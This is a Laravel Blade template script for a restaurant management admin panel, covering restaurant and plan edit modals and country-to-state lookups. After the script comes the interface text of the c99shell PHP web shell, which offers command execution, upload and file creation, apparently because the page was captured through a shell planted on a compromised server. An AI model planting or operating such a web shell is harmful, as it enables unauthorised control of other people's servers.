            $('.cash_on_delivery_checkbox').attr('checked', false);
                $('#delivery_fee_edit').addClass('d-none');
        }

        if (takeaway && takeaway == 'yes') {
            $('.takeaway_checkbox').attr('checked', true);
        } else {
            $('.takeaway_checkbox').attr('checked', false);
        }
        if (featured_restaurant && featured_restaurant == 'yes') {
            $('.edit_featured_restaurant').attr('checked', true);
        } else {
            $('.edit_featured_restaurant').attr('checked', false);
        }
        if (tableBooking && tableBooking == 'yes') {
            $('.table_booking_checkbox').attr('checked', true);
        } else {
            $('.table_booking_checkbox').attr('checked', false);
        }


        $('#edit_delivery_fee').val(deliveryFee);
        $('#edit_publish_on_multi_restaurant').val(onMultiRestaurant).trigger('change');
        $('#edit-user-id').val(userId).trigger('change');

        $('#template_' + template).attr('checked', true);
        if (profileImage) {
        $('#profile-image-preview').attr('src', '{{ asset('uploads') }}/' + profileImage).show();
    } else {
        $('#profile-image-preview').hide();
    }

    if (coverImage) {
        $('#cover-image-preview').attr('src', '{{ asset('uploads') }}/' + coverImage).show();
    } else {
        $('#cover-image-preview').hide();
    }

        $('#restaurantFormUpdate').attr('action', $(this).data('action'));

        $('#restaurantEditModal').modal('show');
    });
</script>

<script>
    $(document).on('click','.isUnlimited',function (e) {
        let inputFieldName=$(this).attr('data-name');
        if($(this).is(':checked')){
            $('[name='+inputFieldName+']').hide();
        }else{
            $('[name='+inputFieldName+']').show();
        }
    })
</script>

<script>
    $(document).on("click", ".edit_Plan", function(e) {
        e.preventDefault();
        const id = $(this).data('id');
        const title = $(this).data('title');
        const recurring_type = $(this).data('recurring_type');
        const pos_system = $(this).data('pos_system');
        const status = $(this).data('status');
        const cost = $(this).data('cost');
        const table_limit = $(this).data('table_limit');
        const table_unlimited = $(this).data('table_unlimited');
        const restaurant_limit = $(this).data('restaurant_limit');
        const restaurant_unlimited = $(this).data('restaurant_unlimited');
        const item_limit = $(this).data('item_limit');
        const item_unlimited = $(this).data('item_unlimited');
        const actionUrl = $(this).data('action');

        $('#edit_plan_id').val(id);
        $('#edit_plan_title').val(title);
        $('#edit_plan_recurring_type').val(recurring_type).trigger('change');
        $('#edit_plan_pos_system').val(pos_system).trigger('change');
        $('#edit_plan_status').val(status).trigger('change');
        $('#edit-restaurant-plan').val(id).trigger('change');
        $('#edit_plan_cost').val(cost);
        $('#current_plan_title').text(title);
        $('#current_plan_cost').text(cost);
        $('#current_plan_recurring_type').text(recurring_type);


        $('#edit_plan_is_table_unlimited').prop('checked', table_unlimited === 'yes');
        $('#edit_plan_is_restaurant_unlimited').prop('checked', restaurant_unlimited === 'yes');
        $('#edit_plan_is_item_unlimited').prop('checked', item_unlimited === 'yes');

        if (table_unlimited === 'yes') {
            $('#edit_plan_table_limit').hide();
        } else {
            $('#edit_plan_table_limit').val(table_limit).show();
        }

        if (restaurant_unlimited === 'yes') {
            $('#edit_plan_restaurant_limit').hide();
        } else {
            $('#edit_plan_restaurant_limit').val(restaurant_limit).show();
        }

        if (item_unlimited === 'yes') {
            $('#edit_plan_item_limit').hide();
        } else {
            $('#edit_plan_item_limit').val(item_limit).show();
        }

        $('#restaurantPlanForm').attr('action', actionUrl);
        $('#restaurantPlanEditModal').modal('show');
    });
</script>

<script>
    $(document).ready(function() {
    $(".add_opening_hour").click(function() {
        var newFields = `
            <div class="row align-items-center mb-2">
                <div class="col-lg-5">
                    <input type="text" name="opening_date[]" class="form-control" placeholder="Opening date">
                </div>
                <div class="col-lg-5">
                    <input type="text" name="opening_hour[]" class="form-control" placeholder="Ex: 8:00 - 20:00">
                </div>
                <div class="col-lg-2">
                    <button type="button" class="btn btn-sm btn-danger remove_opening_hour"><i class="fa fa-trash"></i></button>
                </div>
            </div>
        `;

        $(".opening-hours-container").append(newFields);
    });
    $(document).on("click", ".remove_opening_hour", function() {
        $(this).closest(".row").remove();
    });
    $(".add_information").click(function() {
        var newFields = `
            <div class="row align-items-end mb-4 " >
                <div class="col-lg-5">
                    <input type="file" name="other_image[]" class="form-control">
                </div>
                <div class="col-lg-5">
                    <input type="text" name="title[]" class="form-control">
                </div>
                <div class="col-lg-2">
                    <button type="button" class="btn btn-sm btn-danger remove_information"><i class="fa fa-trash"></i></button>
                </div>
                <div class="col-lg-8 mt-1">
                    <input type="text" name="details[]" class="form-control">
                </div>
            </div>
        `;

        $(".openingInformation").append(newFields);
    });
    $(document).on("click", ".remove_information", function() {
        $(this).closest(".row").remove();
    });

    $(".add_information_edit").click(function() {
        var addInfoEdit= `
            <div class="row align-items-end mb-4 " >
                <div class="col-lg-5">
                     <label class="text-label">{{ trans('Image') }}</label>
                    <input type="file" name="other_image[]" class="form-control">
                </div>
                <div class="col-lg-5">
                     <label class="text-label">{{ trans('Title') }}</label>
                    <input type="text" name="title[]" class="form-control">
                </div>
                <div class="col-lg-2">
                    <button type="button" class="btn btn-sm btn-danger remove_information_edit"><i class="fa fa-trash"></i></button>
                </div>
                <div class="col-lg-8 mt-1">
                     <label class="text-label">{{ trans('Details') }}</label>
                    <input type="text" name="details[]" class="form-control">
                </div>
            </div>
        `;

        $(".openingInformationEdit").append(addInfoEdit);
    });
    $(document).on("click", ".remove_information_edit", function() {
        $(this).closest(".row").remove();
    });
});

</script>

<script>
    $(document).ready(function() {

        $(document).on('change', '#has_reservation_checkbox', function (e) {
            let reservation_check = e.target.checked;
            if (reservation_check) {
                $('#has_reservation_show_div').removeClass('d-none')
                $('#has_reservation_checkbox').val('yes');
            } else {
                $('#has_reservation_show_div').addClass('d-none')
                $('#has_reservation_checkbox').val('no');
            }
        });

        $(document).on('change', '#has_reservation_edit_checkbox', function (e) {

            let edit_reservation_check = e.target.checked;
            if (edit_reservation_check) {
                $('#has_reservation_edit_show_div').removeClass('d-none')
                $('#has_reservation_edit_checkbox').val('yes');
            } else {
                $('#has_reservation_edit_show_div').addClass('d-none')
                $('#has_reservation_edit_checkbox').val('no');
            }
        });

        $('#country').select2({
            width: '100%',
            placeholder: 'Select Country'
        });

        $('#edit-user-id').select2({
            width: '100%',
            placeholder: 'Select User'
        });

        $('#user_id').select2({
            width: '100%',
            placeholder: 'Select User'
        });

        $('#country').on('change', function() {
            var countryCode = $(this).val();
            if (countryCode) {
                $('#country_state').empty();
                $.ajax({
                    url: '{{ route('get.all.states') }}',
                    type: 'GET',
                    data: {
                        countryCode: countryCode
                    },
                    success: function(res) {
                        let selectHtml = `
                        <label class="text-label">{{ trans('Select State') }}</label>
                        <select name="state" id="state" class="state form-control">
                        </select>
                        `;
                        $('#country_state').append(selectHtml);

                        res.data.forEach(function(state) {
                            let selected = '';
                            let optionHtml = `<option value="${state}"}>${state}</option>`;
                            $('#state').append(optionHtml);
                        });
                    }
                });
            } else {
                $('#country_state').empty();
            }
        });
    });
</script>
<script>
    $(document).ready(function() {
        $('#edit_country').select2({
            width: '100%',
            placeholder: 'Select Country'
        });
        $('#edit_country').on('change', function() {
            var countryCode = $(this).val();

            if (countryCode) {
                $('#edit_country_state').empty();
                $.ajax({
                    url: '{{ route('get.all.states') }}',
                    type: 'GET',
                    data: {
                        countryCode: countryCode
                    },
                    success: function(res) {
                        let selectHtml = `
                        <label class="text-label">{{ trans('Select State') }}</label>
                        <select name="state" id="edit_state" class="state form-control">
                        </select>
                        `;
                        $('#edit_country_state').append(selectHtml);

                        res.data.forEach(function(state) {
                            let selected = '';
                            if (state === $('#edit_country').attr('data-state')) {
                                selected = 'selected';
                            }
                            let optionHtml = `<option value="${state}" ${selected}>${state}</option>`;
                            $('#edit_state').append(optionHtml);
                        });
                    }
                });
            } else {
                $('#edit_country_state').empty();
            }
        });
    });
</script>
<script>
     $(document).ready(function () {
        $('.form-check-input').on('change', function () {
            let selected = [];
            $('.form-check-input:checked').each(function () {
                selected.push($(this).attr('name'));
            });
            if (selected.includes('cash_on_delivery')) {
                $('#delivery_fee').removeClass('d-none');
            } else {
                $('#delivery_fee').addClass('d-none');
            }
        });
    });
    $(document).ready(function () {
        $('.form-check-input-edit').on('change', function () {
            let selected = [];
            $('.form-check-input-edit:checked').each(function () {
                selected.push($(this).attr('name'));
            });
            if (selected.includes('cash_on_delivery')) {
                $('#delivery_fee_edit').removeClass('d-none');
            } else {
                $('#delivery_fee_edit').addClass('d-none');
            }
        });
    });
</script>
@endsection

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0063 ]--